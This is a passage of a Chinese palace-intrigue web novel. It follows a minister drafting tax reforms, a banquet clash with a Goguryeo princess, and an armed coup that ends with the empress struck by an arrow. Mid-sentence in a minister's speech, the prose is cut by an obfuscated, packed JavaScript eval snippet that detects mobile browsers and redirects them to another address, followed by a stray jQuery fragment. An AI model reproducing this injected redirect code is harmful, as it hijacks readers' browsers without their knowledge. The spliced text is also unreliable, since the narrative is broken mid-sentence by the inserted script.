可他从没见过接受了他馈赠的人给予他什么好处,一开始他还会疑惑,后来习惯了也就不想再去过问了,因为他什么都有,他什么都不缺。 如今坐在谈判桌上,听着双方口若悬河互不相让,天南海北的道理扯了好大一堆,他才终于意识到,舅舅教的并不对。 属于你的就是你的,不争不抢,一而再再而三的舍弃,只会让人觉得轻贱。 和谈的最后一日,李谨焕刚从鸿胪寺出来,就被张锦拦住了去路。 张锦看着他迷茫的神色,沉声问道:“王爷后悔了吗?” “后悔?”李谨焕迷茫道:“后悔什么?舅舅和母亲都已经做出决断,我又能有什么选择的余地呢?” “那王爷可有什么疑惑?” 李谨焕垂下眼眸:“有很多,却不知道从何问起。我在登州的那段时间,一直被李啸音牵着鼻子走,她说什么,我做什么,像个没有生命的傀儡。看着她拿人命当儿戏,一步步逼疯三哥。张大人,说句实在话,这条利益线早就暴露在父皇的面前了,做再多都是垂死挣扎。你弟弟的事瞒不住,我知道你拼尽全力想要救他,可是这样的人真的值得你去救吗?” “殿下,不是所有人的亲情都像皇室那般单薄。”张锦拱手行礼,离开了鸿胪寺。 李谨焕目送他远去,却被夕阳刺痛了双眼。 * 这一晚,张锦一直在书房没有出来。 张骁蹑手蹑脚的从角门回来,本以为会再一次被父亲抓个正着,却不想主院根本没人。 他奇怪的回厢房换了一身衣服,刚出来便看见管家在院子里焦急的转悠。 “张管事,你找我爹啊?他不在屋里。” “郎君,老奴是来找您的。” “我?”张骁诧异的指了指自己:“找我做什么?” 他双手抬起,展开五指:“我今天可什么小玩意儿都没带回来啊,我只是好奇高句丽带来的东西,让王临之带我去了一趟鸿胪寺的别院,走得是正门,绝对没有翻墙,不信你去右相府问王临之!” 张管事焦急道:“哎哟,郎君,老奴不是为了此事。老爷自鸿胪寺谈判回来之后,就一直将自己关在书房里,任谁去问门都不回应,送去的饭食倒是收了,但之后就再也没动静了,眼看着这都要到子夜了,明日还有接风宴,可不能这样熬啊!万一明日上朝因为困乏被哪位御史参一本怎么办!” 张骁蹙眉:“我去瞧瞧。” 八月的夜,略有微凉。连续晴朗了几日,没想到今日傍晚时分乌云便沉沉的压了下来,此刻天空黑漆漆一片,连月光都被隐匿了起来。 张骁提着灯笼,穿过凌霄花廊一路向东,跨过宝瓶门便入了东跨院,父亲张锦的书房便在此处。 黑黢黢的院子里只点亮了两座莲花石灯,光芒微弱得只能照亮附近两步距离,衬得点满烛灯的书房格外显眼。 这次他没敲门,直接一把将门推开。 张锦正端坐于桌前奋笔疾书,地上铺着长长的卷轴,上面叠着一张张黄麻纸,像鱼鳞一样有序排列着。 他弯下腰看向脚边的纸张,只见上面写着:“废租庸调及一切杂徭、杂税,留用丁额。不分主户、客户,赋税皆以登入户籍为准。每户不再按人丁征收赋税,改为以资产、田亩等按类征收。” 张骁越看越不解,这洋洋洒洒一大篇全都是关于赋税政策的,看内容与现用的有很大出入,应当是要推行的新法。但如今刚刚全国推行新的土地丈量政策,并不是新税法上台的好时机,父亲没必要如此连夜赶工。 尤其是其中“量出制入”的条例,当今朝廷对地方的掌控度并不高,此法并不可行。 他疑惑道:“量出制入需要户部先根据各地情况算出总税额,再按比例分配到地方。如今陛下刚刚登基不足一年,各地豪绅明从暗反,若不能像淳王肃清三州一样肃清地方,这条怕是很难发挥其应有的作用。” “我知道。”张锦淡淡的回应道,手中的笔依旧不停。 张骁更加奇怪了:“那爹为何急于现在?您年轻时候去大非川为朝廷拓展商贸,因而冻坏了骨头,根本受不得寒凉,现在更深露重,房间里已经烧了碳炉却湿,您还是快些回去休息吧。” “没时间了。”他边写边道:“你若是闲来无事,就帮我将地上的纸张以鱼鳞法装订成册,然后装入已经写好卷名的竹筒之中封存。每支竹筒都对应着不同的卷名,可别弄错。” 张骁实在不明白他爹今日抽了什么风,非要不眠不休的写新税法。他虽困得厉害,却不能将老子一个人放在书房置之不理,只能认命的拿来工具,蹲下在地上将已经铺排好的纸张一一装订成册。 这一忙便是一整夜,直到天光乍破,细雨微朦,张锦才放下笔揉了揉手腕,恍然道:“竟已到了这个时辰。” 他看向坐在椅子上扬脖睡觉的张骁,再看看已经装订好,并整整齐齐摆放在桌案上的竹筒,眼神中第一次露出了欣慰。 他呢喃道:“以后没了为父,你的路就要靠你自己走了。” 他将披在身上的外袍盖在张骁身上,然后收起桌上的竹筒放进书柜后的暗格之中。待一切收拾妥当之后,便轻轻推开门,悄无声息的离开了书房。 在屋外坐了一夜的张管事正依靠着柱子打盹儿,听见房门声一个激灵就站了起来,他通过略有模糊的双眼看到了形容憔悴的张锦,连忙上前道:“老爷可算出来了,今日宫中举办接风宴,早上不上朝,可要多睡一会儿?” 张锦摆了摆手:“不必,我去趟西洲侯府,你去叫醒骁儿,让他吃了早饭回屋里睡去。哦对了,若他问起我的去向,便说我去东市找书去了。” 张管事虽然对老爷的安排有些困惑,但在总管事上做了二十年,知道什么该问什么不该问,于是恭敬的应和了下来:“老奴明白,那老爷中午是否还回府用饭?” 张锦本想说不用,但他扭头看了一眼书房,那话便在舌尖掉了个个:“回,多做些骁儿爱吃的。” “哎!” * 雨后的烈日蒸得人发昏,李鹤霖躺在廊下的软榻里,目光落在正为他伤口换药的章麓身上。她难得换上了一身广袖襦裙,飞天髻上簪着一支累丝金簪,簪头上卧着一颗晶莹剔透的石榴石,李鹤霖一眼就认出这石榴石正是他在秋山猎宫的时候,送给她的那枚。 他亲手雕刻的展翅小鹰,没想到竟做成了簪子。 海东青‘掠影’尖啸着出现在院子上方,章麓抬起头瞧了一眼,又低头给李鹤霖身上的纱布系好,才将皮垫裹在手臂上,轻拍两下,‘掠影’便俯冲而下,平稳的落在了章麓的手臂上。 与它一同落下的,还有一只折翅的白鸽。 章麓将白鸽脖子上的竹筒解下,取出里面的小纸条细看了一眼,冷笑道:“他们还真是不死心。”随即将小纸条递给了李鹤霖。 后者展开瞧了一眼,情绪复杂道:“终是走到了这一步。” “王爷!宫里来人宣旨了!”萧雷快步走来,在院门外止步,拱手扬声道:“是孟伴伴来宣,让您去前院接旨呢。” 这个消息很快传遍了王府上下,一同被幽禁在王府内的卢康、楼松等人连忙赶到前院,恭敬的跪在前院等待旨意。 令众人没想到的是,这只是一道解禁旨意,而非对淳王的判决。 “陛下为何突然让王爷和郡主进宫参与接风宴?”卢康蹙眉道。 众人皆觉得不可思议,褪去一开始的欣喜若狂,一股风雨欲来之势便席卷而至。 萧雷:“会不会是因为三州送来的万民伞?会不会是陛下不打算追究了?” 章麓将圣旨装进锦匣,交给晴放保存:“只是因着高句丽遣人何谈,暂时顾不上罢了。不管陛下心里怎么想,文武百官定然不会轻易放过王爷。待使团离开,才是真正的雷霆之势。” 民心只能让李鹤霖站在道德的制高点,却不能枉顾律法。最终对李鹤霖的判罚强弱,要看朝堂上到底有多少人站在他这一边。 何谓皇权至上?便是一切走向全凭皇帝的一念之间。 皇帝若想他死,朝臣便只需给他一个理由;皇帝若想他活,便要朝臣给他一个台阶。 李鹤霖垂眸看着手中的纸条,呢喃道:“是死是活全看今晚的宫宴了。没想到有一日,我竟要踏着手足兄弟的尸骨,才能保全一命。” 他将手中的纸条递给卢康:“将此物交给孟伴伴。” * 申时末,禁中大门打开,二品官员及实权侯爵携家眷列队走入。 虞庆侯夫人仰头看着巍峨的宫殿,第一次产生了畏惧之心。 虞庆侯稳稳的握住夫人的手,低声道:“放心,今日之后,便无人能阻碍她的前路。” 虞庆侯夫人喉头发紧:“我们是不是选错了,当初就不该让袅袅来长安。” “荣儿,她终究要跨过这个坎,跨过去心魔尽散,跨不过去……”虞庆侯没说出来最后的几个字,但他们夫妻二人彼此都心知肚明。 一步登天,一步地狱,便是如此。 酉正,皇帝携皇后亲至,朝臣携家眷纷纷落座,膳食司端上一个个精美的三彩餐盘,里面放着切成小块的瓜果、摆盘如画的膳食,还有一瓶清酒、一壶煮好的蒙顶茶。 觥筹交错间,李鹤霖为章麓斟茶:“剑指北翟惊四王,忙遣节杖入大梁。”他的语气带着一丝嘲弄。 突然,坐于上首位的高句丽公主具备上前,道:“听闻新安郡主跳的一曲惊艳四座的塞上舞,不知道今日可有眼福一观?” 原本热闹的气氛霎时冷却下来,不少人都面面相觑,有人蹙眉,有人看热闹,无数道目光纷纷落在了正在吃水果的章麓身上。 后者 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然而章麓根本不吃她这套,面上带着一丝讶然:“难不成公主是怕比不过舞女,在此丢人现眼?从而嫁不了一个如意郎君?”说罢,她又叹了口气,一副劝慰的模样:“公主倒是不必担忧,你毕竟是来和亲的,就算战败丢人也无妨,我朝陛下乃是明君,自会给你指一门好亲事。” “你竟将本宫与舞女比!欺人太甚!”高丽公主指着章麓怒吼,她扭过头看向泰安帝,可怜兮兮的卖惨道:“陛下,我本是极为仰慕章姑娘的,诚心诚意想要欣赏她的天人之姿,结果她不领情便算了,偏要羞辱于我!陛下!臣女是来和亲的,纵然低人一等,也不能遭如此羞辱!这简直就是在打父王的脸面,做女儿的哪里肯让他人如此羞辱父王!求陛下替臣女做主!” “是啊陛下,章麓本就因犯错幽禁王府,如今陛下大恩赦她出府参与宫宴,竟还如此不给高丽脸面,实在有失我朝风范,定要严惩才是。”雍贵妃在一旁帮腔道。 泰安帝面色不好,却没有开口的意思。 章麓轻轻一笑,道:“我的嫡亲兄长连占高句丽三座城池,如今范阳军可还在辽城站着,若是你非要挑衅,我朝范阳军决不畏战!” 这次,发青的面色从泰安帝脸上转移到了高句丽公主脸上。 她指着章麓道:“你只是臣,且是拥兵自重的臣!我与陛下说话,哪有你插话的份!开不开战乃是陛下决断,岂有你越俎代庖之理!” 她眸光一转,冷声道:“难不成,你们章家想要裂土封王,自己称帝!” 这么大一个帽子扣下来,若是个心志不坚的早已惶惶不安,然而章麓什么牛鬼蛇神没见过,根本不会被她这种伎俩吓唬住。 她语气颇有些浑不在意的说到:“欲加之罪何患无辞?你说章家有不臣之心,我是不是也可以说你们高句丽明从暗反,送你这样一位心机深沉又妖艳的公主过来和亲,是不是想要吹枕边风?蛊惑着某位皇子对你言听计从?又或者是想直接魅惑陛下?好为高句丽谋取喘息之机?” “荒谬!”高句丽公主的尖叫声破了音,不住的回荡在宫殿当中。 章麓为自己斟了一杯茶,声音清脆悦耳:“看来,是被我说中了。” 高句丽公主脸色苍白,眸光闪烁,登时跪倒在泰安帝面前,道:“高句丽对大梁绝无二心!望陛下明鉴!” 她身后的臣子也纷纷离座跪拜,场面气氛降至冰点。 雍贵妃想要说什么,就感觉到手腕被什么东西击中,她低头一瞧,只见一个烂了个口子的葡萄滚在珍珠鞋边,自己手背上还留着黏腻的触感。 她抬眸望去,只见西洲侯看向他的眸光危险而凌厉,她心中委屈,却也知道真惹恼了自家兄长的后果,只能不情愿的闭紧嘴巴。 殿中安静了足足一刻钟的时间,泰安帝没发话,高句丽使团就只能跪着。 沉默,长久的沉默,沉默到朝臣们心里打鼓,沉默到高句丽公主的后背湿了又干,干了又湿,泰安帝这才轻笑一声道:“公主不必惶恐,高句丽的诚意在前几日的和谈中便能感知,公主的这番话只是酒后之言,无心之失,朕不会挂在心上。” “谢陛下!”高丽公主松了一口气,还未及起身,又听到来自上首的泰安帝幽幽道:“只是如今宴会气氛凝重,不如请高句丽公主献舞一曲,活络活络气氛如何?” 高句丽公主身形一僵,云袖下的手攥得死紧,她咬牙吐息了三次才压制住心中浓重的屈辱与恨意,恭敬道:“能为陛下献舞,是臣女之幸!” 章麓轻嗤一声端起茶杯抿了一口:“自不量力。” 李鹤霖别过脸看向风貌毕露的章麓,心中畅快:“等朝廷定了我的罪……九成会贬为庶民吧,那时我便陪你去鄯州,如何?” 章麓举杯的手顿了顿,于鼓乐声中低吟道:“你就不怕我报仇之后甩了你?毕竟……” 李鹤霖握住她的手:“你我有圣旨赐婚,我已经是你的人了,你甩不掉的。” 他的眸光中满是压抑不住的深情,就像大雁依偎,天鹅共舞。 两人就这样相视而笑,低声交谈,直至一曲终了都没再看向他人。 中间休息时,李鹤霖离席去换衣服,章麓坐在位置上百无聊赖的拿筷子给葡萄剥皮。她左手持李鹤霖的筷子,右手持自己的筷子,不消一刻钟的时间,便将所有的葡萄都剥好皮,一个个圆润的整齐排列在李鹤霖的盘子里。 走过来的章引玉瞧见这一幕,感叹道:“堂姐的手上功夫真是越发娴熟了,飞镖如今可是能百发百中?” “还差得远呢,昨夜风大吹落不少叶子,便突发奇想试了试,结果十枚银针只有七枚射中了树叶,且不在同一片上,这才想起来练练手劲。可惜,刚刚手上不够稳,戳破了三个葡萄。”章麓眸光平静,毫无羞恼之色,仿佛这只是一件无足轻重的小事。 “练这些多无趣,我带你去瞧热闹。”章引玉低声道。 章麓好奇:“什么热闹?” 章引玉:“方才未来姐夫出去了,那高句丽公主便紧跟而去,你不想去瞧瞧对方想做什么吗?” 这个倒真是不太感兴趣,章麓瞥了一眼安坐在上方的康王李谨焕和雍贵妃,心想,她对这两个人什么时候摔杯更感兴趣。 不过向来爱凑热闹的章引玉根本不给她这个机会,生拉硬拽的将人拖了出去。 在两人路过王相权的位置时,章麓看见王临之对她点了点头。 万事俱备只欠东风。 章引玉拉着章麓一路向枫园而去,目的之明确,让章麓忍不住思考,章引玉是不是未卜先知。 两人一路穿过两道廊口,终于抵达偏殿后的枫园,章引玉拉着她躲在一座假山后面,鬼头鬼脑的朝亭中望去。 只见已经换了一身窄袖月白蟒袍的李鹤霖正与四皇子李谨琰站在一起,而他们对面则是身着一袭红衣的高句丽公主。 “我六岁便骑马在草原上奔跑,十二岁猎了一头狼送与父王,高句丽的男儿多不如我。来之前我曾听闻淳王殿下的未婚妻也善骑射,不过方才在殿中看她一副柔柔弱弱的模样,倒是与传言相差巨大。” 两人刚到就正巧听到这番话,章引玉一时间面色复杂,低声道:“她脸也太大了!自己长得跟头熊似的,就以为所有善武的女子都跟她一样?” 章麓瞪了她一眼:“没必要如此刻薄。” 李鹤霖不知道她说这番话的目的是什么,语气带着不虞:“公主这是在示威?” “当然不是!”高句丽公主察觉出对方的不喜,思量了一番后,便换了一副语气道:“我只是想表达自己比她强罢了,听闻淳王殿下极为喜爱善于骑射、打马球的女子,所以我……” “公主,你是不是误会了什么?”李鹤霖面色严肃道:“你是和亲公主,自是要做正室娘子,而本王已经与章麓订婚,无论如何都不会娶你,我喜欢什么不喜欢什么,与公主没有任何关系。” “怎会无关!”高句丽公主道:“我乃高句丽国嫡公主,胞兄是未来的高句丽王,即便和亲,我嫁的也必须是当朝最厉害的男人,除了你之外哪儿还有第二个选择?听闻你们中原男人若是要攀高门,可以贬妻为妾,你那个未婚妻出自虞庆侯府,听闻虞庆侯掌握边关三道共计六十万大军,如此强势之人怎会屈居于他人之下?将来势必会造反!你现在若是娶了他的女儿,未来待他谋朝篡位,你也就与龙椅无缘,可我不同,将来若是有人敢与你抢皇位,我高句丽国定然鼎力相助!” 李谨明简直不敢相信自己听到了什么?这高句丽公主竟如此胆大,当他是死得吗? 李鹤霖神色愤怒,斥道:“贬妻为妾者皆为小人!本王既爱重她,又向其父母求娶她,便不会如此侮辱于她!况且,本王如今是戴罪之身,可担不起最强的名号。至于虞庆侯握有多少兵权,就更与公主无关,今日公主这一席话在本王听来,不是求亲,反倒是在离间!莫不是被虞庆侯世子打怕了,就想用这种阴损招数。” 被说中心事,高句丽公主面色微红,但她绝不能承认:“哼,本公主好意提醒与你!不领情便算了!”说罢,她负气的甩袖离去。 待她走后,李谨明心有戚戚的问道:“父皇不会让我娶她吧?” 李鹤霖道:“不会,待今日过后,就算他们没有被吓破胆,也觉不敢再提和亲之事。” 待众人重新回到殿中落座,已然是半个时辰之后。 与此同时,两条直通内宫的地道内,正有数百名死士快速移动着,在废弃已久的嘉仁宫钻出后,逐渐向举办宴会的鸿胪殿逼近。 124. 第 124 章 程卫昭一身金吾卫布甲,巡逻至朱雀门前时,突然被一人叫住。那人身着一身藏蓝布甲,似是西洲侯府上的侍卫长,他语气焦急:“世子!侯府失火!粮库被火星刮到火势控制不住,已经蔓延到临近府宅!防务司的人手不够,再控制不住半个坊都要被烧掉!世子!快调金吾卫救火!” 来人一脸炭黑,布甲上有被火星燎烧掉的痕迹。 程卫昭微蹙眉头:“临近的金吾卫队呢?邵中郎将今日不是巡防长安县南边十二个坊市?” “没见到人!我一路朝北寻找,直接就碰到了您!您快去吧!晚了整个坊市都要被烧了!” 程卫昭遥遥朝南边望了一眼,只隐约可见一丝橙红,他不再犹豫,领兵朝长安县中部赶去。 那人目送程卫昭远去,打出一个呼哨,一队身着玄铁盔甲的人马从暗处冲出。那人转头奔去朱雀门,拿出千牛卫腰牌,毫无阻拦的放人通过了朱雀门。 “把世子捆了!” “侯爷只说将人调开,若是我们捆了他,将来侯爷追究起来……” “世子与侯爷并非一心,侯爷的筹谋并未告知世子,为确保万无一失,还是让他暂时失去行动能力为好。” “是!” 殿中的宴会已然进入尾声,百官与陛下皆露出了疲惫之色,待最后的百戏收场后,瞧了新奇的高句丽使团举起酒杯敬陛下,说了不少好听话。 泰安帝也举杯回应,几人客套了许久,眼瞧着泰安帝已然精神不济才罢休。 就在泰安帝站起身,宣布宴会结束的时候,全程只喝酒,一言不发的西洲侯终于有了动静。 啪—— 三彩茶碗的碎裂声清脆,殿内众人皆好奇的望向西洲侯。 泰安帝瞥向他,身姿挺立,语气意味深长:“西洲侯可是醉了?” 西洲侯站起身,行至大殿中央:“臣没醉,只是有一惑想求教陛下。” “哦?” 西洲侯一拍手,一百死士瞬间推门而入,将所有官员包围在内。 章麓顺着敞开的殿门向外看去,只见原本整洁的台阶上,层层叠叠着无数尸体。他们都身着属于翊卫的黄色布甲,这些都是从大户人家挑选出的青壮年,其中不少还是朝中官员的同族子弟。如今,却像一摊被屠戮的烂肉,被刽子手无情的遗弃。 而在他们的面前,则是背对着大殿,持刀向外的千牛卫。接替章弋的新千牛卫大将军,正持刀站在殿外,目光冷肃的盯着大殿中的每一个人。 刘贤似乎不在,也不知道去了哪里,章麓看向始终冷静的皇后,若有所思。 西洲侯走向坐在椅子上一动不动的李谨焕,一把攥住他的衣领,将人拖到了泰安帝面前。 他道:“陛下以为,康王坐帝位如何?” 泰安帝垂眸盯着李谨焕,问道:“你是怎么想的?” 李谨焕从自己的位置上站起身,面无表情的跪在殿前,宛若一尊行尸走肉一般抬起头看着自己的父皇:“父皇,可曾有过一刻想要立我为储?” 看着他仿佛提线木偶般的模样,泰安帝闭上双眼,心中顿觉失望万分,他道:“事到如今,你只想到这个?就没其他想说?” 李谨焕低下头:“我不知道,我还能说什么?” “陛下!事到如今,你还问他做什么?”雍贵妃从位置上站起来,走到李谨焕边上将人拉起,目光看向泰安帝时带着恨:“陛下年迈,又因叛臣张敬德(靖国公)与罪人李煜珏(卫王)中毒颇深,身体衰弱,精神不济,早就该传位于子嗣,颐养天年……” “朕没有跟你说话!滚!”泰安帝一巴掌将雍贵妃扇翻在地,目光始终落在李谨焕的身上,他沉声质问道:“朕再给你一次机会,告诉朕,你在想什么?” “我……” “抛开西洲侯和你母妃教的那些,你告诉朕!你到底是怎么想的!”泰安帝的呵斥声响彻在宫殿之内,所有人的目光都落在李谨焕身上。 这个问题,章麓和李鹤霖也想知道,虽然章麓不甚了解李谨焕,对他的印象一直停留在前世,虽文武双全,也通晓道理,却不太有主见。 能养成这种性子与西洲侯和雍贵妃脱不了干系,他们什么都替李谨焕打算好了,却从未想过对方是否真的想要,或者说,李谨焕早已失去了反抗的心思,徒留随波逐流的迷惘。 “我……”李谨焕站起身,看向自己的父皇:“我想知道,在父皇心里,我是不是真的比不上三哥。其实我一直无心去争这个位置……” 西洲侯失望的闭上双眼,再睁开时一把将李谨焕甩到一旁,拔剑直指泰安帝:“如今多说无益!陛下只有两个选择,要么自缢退位,要么禅位于五皇子李谨焕!你选吧!” “若朕哪样都不选呢?”泰安帝的脸色已然冷了下来,看向西洲侯的目光就像在看跳梁小丑:“你以为李谨焕真的能坐稳这个位置?他被你们教得优柔寡断毫无主见,若真让他做了这个位置,这天下怕不是姓李,而是姓程!” “姓程姓李有什么区别?你也是谋朝篡位成为的九五之尊,就算由我上位改弦更张,轻易就能抹去你的存在!千百年后,不会有人记得曾经有个姓李的人登上过帝位,只会记得程氏天下!”西洲侯扬声道:“在坐的各位,我知道你们当中有不少人与漕运案有牵扯,收授过豫商的贿赂,行过方便。我也知道,你们当中许多人都不满朝廷的新法,因为这些新法让你们的家产一再缩水,原本还能骄奢淫逸,如今却只能勒紧裤腰带生活!若是今日肯随我一同举事,我保证,待我上位后,定然会无尽的荣华富贵!恢复往日荣光!” 殿中的勋爵朝臣面面相觑,有的低头,有的假装与他人讨论,却无一人敢真的走上前来。 对于他们的不识相,西洲侯气愤不已,他看向张锦冷声道:“张锦,你还在等什么?” 所有人的目光又落在了张锦的身上,复杂的、震惊的、悲哀的、惊喜的,各种各样的情绪冲击而至,张锦心中哀叹一声,站起身道:“我只答应替你于史书上春秋笔法,却没答应替你篡位。我虽因我那不争气的弟弟上了你们的贼船,却不代表我就站在你那边。西洲侯,与我来讲,不论将来何人登位,我只求能推行新法,惠国惠民,若你能保证新法继续推行下去,我便站在你这一方,若不能……” 若不能会怎样,张锦没有想好,或者说,他无法承担这样的后果。 泰安帝面色复杂的看向张锦:“难不成张大人觉得朕无法将新法推行下去?” 张锦拱手行礼,道:“陛下,淳王私自斩杀那么多的官吏,致使地方政务停摆,影响民生。如此罔顾朝廷律法,扰乱地方秩序,陛下却不罚他,在朝臣眼中便是认同他!多少人因此而自危,只觉朝不保夕,不敢言不敢怒。这会让他们对这个国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518681|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,对自己的位置缺乏认同感。而官员没有认同感便不会将国运视为己命,这般如何能将新法推行下去?” 李鹤霖站起身:“所以,张大人是觉得本王有错。” “不止有错,且大错特错!” 李鹤霖冷笑:“那张大人可知三州州因着李啸音、杨素乾死了多少百姓?又有多少良民被逼为死奴?商贩高于士族,农民没于下九流,这难道就是张大人想要看到的吗?” “这是过往的沉珂,等新法推行下去……” “等等等!你只会让等!可有多少人等得起!又有多少人有命去等!难道那些人就不是大晋百姓,就不是你张锦的新法惠及的对象了吗?”李鹤霖问。 张锦深吸一口气,道:“总要有牺牲……” “可这明明是可以避免的牺牲!” 他看着百姓被逼为奴,日日做着苦役,被鞭挞,被责骂,被侮辱,却申冤无门! 他看着追随着自己的墨云骑被困山崖,被屠杀,被嘲笑,被焚烧,却无法挽救! 他看着那些贪官污吏嘲笑自己的天真,讽刺朝堂的愚蠢,蔑视一切敢于反抗他们的人! 他们有恃无恐,他们见利忘义,他们泯灭良知、禽兽行径! 这样的人凭什么不能杀!凭什么要等!凭什么给他们继续污染这个世界的机会! “够了!”西洲侯心里清楚,不能再任由李鹤霖说下去了! 他握住剑柄的手略有颤抖,他提剑逼近泰安帝,面色阴沉:“还请陛下即刻写下退位诏书!” 一直站在原地的泰安帝终于动了,他身体微侧,将身侧的皇后拉到自己身后,不动声色道:“你有本事便直接改朝换代!” 说罢,随着瓦片的碎裂声,刘贤领着龙鳞卫突然从天而降,一刀劈向西洲侯的手臂,后者警觉,抬手以剑挡之,后退数步。 龙鳞卫以半圆形拱卫在泰安帝身前,章麓与李鹤霖同时出手,四只筷子如闪电般扎穿身侧四名死士,劈手夺刀后直接将涌上来的人劈成了两半。 武将纷纷暴起,章引玉将虞庆侯夫人护在身后,拔起桌案狠狠拍向刺来的死士,接连拍碎四面桌案后,将人甩给王临之,抄起盘龙柱旁的九龙青铜方尊,直接将追过来的死士拍了个脑袋开花! 霎时间,殿外传来刀剑碰撞的厮杀声,数千火把将黑漆漆的宫闱映如白昼。一批骑兵蜂拥而至,箭如雨下、刀如雷霆,三息间便射杀了半数千牛卫。 雍贵妃躲藏在盘龙柱后,惊慌道:“墨云骑早就死完了!哪儿还有骑兵!”她不灵光的脑袋突然醒悟,不敢置信的看向衣衫染血却面不改色的虞庆侯:“是你!是你们!陛下竟信你至此!” 她癫狂的哈哈大笑着,猛然鼓起巨大的勇气,穿过一众人群,直奔高句丽公主,一把甩开想要阻拦她的高丽官员,快如闪电的一把抓住被吓得腿软的高句丽公主,狠狠掐住她的脖颈,尖利的指甲穿透皮肤,血液顺着白皙的脖颈蜿蜒而下。 她挟制着手中的人质,怒吼道:“都给我住手!要不然我杀了她!” 高句丽官员仓皇失措,可大晋官员却根本顾不上这边! 无人在意这个小角落的纷争,所有人的目光都落在泰安帝和西洲侯的身上。 殿内厮杀震天,所有人都在奔逃,刘贤摔龙鳞卫掩护泰安帝和皇后退出鸿胪殿,西洲侯哪里会给他这个机会! 125. 第 125 章 刘贤刚刚将拦路的叛军清除,转头就被西洲侯劈下的刀拦住去路,交手之间又有叛军举刀扑来,闪身躲避间竟被西洲侯一刀一刀拉开了与泰安帝的距离。 就在此刻,有名死士突袭至近前,一刀扎穿一个龙鳞卫的腹部,打开缺口,左手摸出短匕直刺泰安帝脖颈。 忽然一柄长刀破空而至,刀尖直挺挺扎穿了死士的胸膛,与泰安帝只有三寸距离。 死士轰然倒地,露出三丈外左手持刀的章麓。 只见她用脚尖从地上挑起一柄长刀置于右手,又挑起一柄于空中,步伐腾挪间,那柄飞于空中的长刀被架在了左右手两柄刀之间,以势不可挡之姿直奔西洲侯而去。 千牛卫的残部冲杀进来,试图帮助西洲侯,却溃败在章麓凌厉的刀锋之下。那三柄长刀如同灵蛇一般辗转腾挪,如闪电一般残光掠影,如秋风席卷过的落叶,精准的划破每一个胆敢靠近者的喉咙。 西洲侯连连后退,却无力阻止章麓逼近的脚步,十尺,五尺,三尺!直到最后七寸的距离,眼见章麓的刀光已然映照在西洲侯的脸上,却被一支飞来的箭矢打断。 章麓瞥向殿外,只见一匹雪白青骢马上,身着黄色金吾卫布甲、头戴三翎金盔的人手持弓箭,杀入阵中,打了萧雷等人一个措手不及! “三刀斩……”泰安帝呢喃。 “陛下!我们先离开!”皇后道。 然而,西洲侯的西延军已然杀进城内,萧雷和卢康率领的一千骑兵被逼至殿前,尸体堆叠得一层又一层,鲜红的血液渗透每一道砖缝,侵入大地之中。 另一侧,被雍贵妃挟持的高句丽公主哭着挣扎,使得脖颈上的刀刃在她细嫩的脖颈处刮掉一层又一层的皮,血液顺着锁骨蜿蜒而下,浸透衣领。 李鹤霖沉这一张脸提刀而至,在高句丽公主既惊恐又欣喜的目光中举刀而起,刀刃倒映在高丽公主陡然皱缩的瞳孔中,只听得唰得一声,擦着高丽公主娇艳的脸庞直直捅穿了雍贵妃的脖颈。 擂鼓的心跳,血液的滴答,最终都化作耳畔陡然炸起的轰鸣,激得高句丽公主瘫跪在地,浑身颤抖,脑中一片空白。 李鹤霖没管她,只对使团的人冷声道:“带着你们的公主滚!” 若不是不能让高句丽的人死在这里,他根本不会在乎一个所谓公主的死活。 吐谷浑通过淮南王吃了漕运太多的银两和米粮,绝不能再任其发展下去!可若与吐谷浑开展,高句丽就必须老实。 大晋经受不起双面开战的开销与损失! 李鹤霖一路劈砍至章麓身旁,此时刚刚踏出殿门的泰安帝等人,再次被突如其来的西延军逼了回来。 章麓一把抓住被砍伤双臂的西洲侯,手持长刀架于其脖颈处,看向来人:“退出皇城!否则我杀了他!” 一身金吾卫铠甲的程卫昭骑在马上立于殿前,眸光冷冽:“我知我父所犯之罪乃是谋逆,若今日我退,日后定然没有活路,倒不如搏一把,即便身死也不过是提前去见了阎王。” 话音刚落,他拉满弓弦,箭尖直指泰安帝。 箭矢离弦之际,李鹤霖睚眦具裂,他奋力冲向泰安帝,却远远来不及! 噗嗤—— 箭矢穿透皮肉的声音合着布匹撕裂声响彻在泰安帝的耳畔—— “娘!”李鹤霖声音凄厉。 他的脚还在奔跑,他的手还伸在半空中,他想扶住自己的母亲却还隔着四尺的鸿沟。 皇后面对着泰安帝,双手因为剧痛死死掐着他的胳膊,她张开嘴想要安抚,却痛得怎么也开不了口。 她很想告诉自己的丈夫,自己不恨他了,不在乎他违背当初的誓言,为稳固地位娶了一个又一个女人。她看开了,想明白了,女子这一生本就有太多的不公平,又何必在一个伤害过自己的人身上浪费心思。 她想告诉自己的儿子,她此生很高兴能养育出如此出色的三个孩子,只是遗憾没能在老大死前赶到陈州,见他最后一面;遗憾陪女儿的时间太少太少;遗憾没能看见老三娶妻生子,幸福和睦。 她想告诉章麓,她的儿子不那么完美,总是在某些事情上犯轴,一根筋,但他是个心思纯善的好孩子,他只是小时候经历过、亲眼看见过太多的不幸,才在身居高位后,想要抹杀掉一切致使不幸的源头。 可她说不出来了,她能感受到生命的流逝,窥见弥留之际的回光返照。 她的目光越过重重人群,看到了被制服的程卫昭,她想,程卫昭这样的人,敢说敢做,投胎生在程家可惜了。她由记得三日前自己秘密召见他,并请他刺杀自己的事,她想用自己的命换儿子的安康。程卫昭没有拒绝,甚至不在乎刺杀过后自己会死,他只提了一个要求,让他母亲与西洲侯和离。 她用命换儿子的安然无恙。 他用命换母亲的百世流芳。 皇后费劲最后的力气搭上泰安帝的手,张了张口:“求你,别治霖儿的……罪。” 泰安帝的视线被泪水模糊,他怀抱着皇后的手止不住的颤抖,这个无论在战场还是朝堂都运筹帷幄的男人,此刻只觉手脚发软,脑袋空空:“坚持住,别睡,别离开我,如兰。” “太医!太医!” 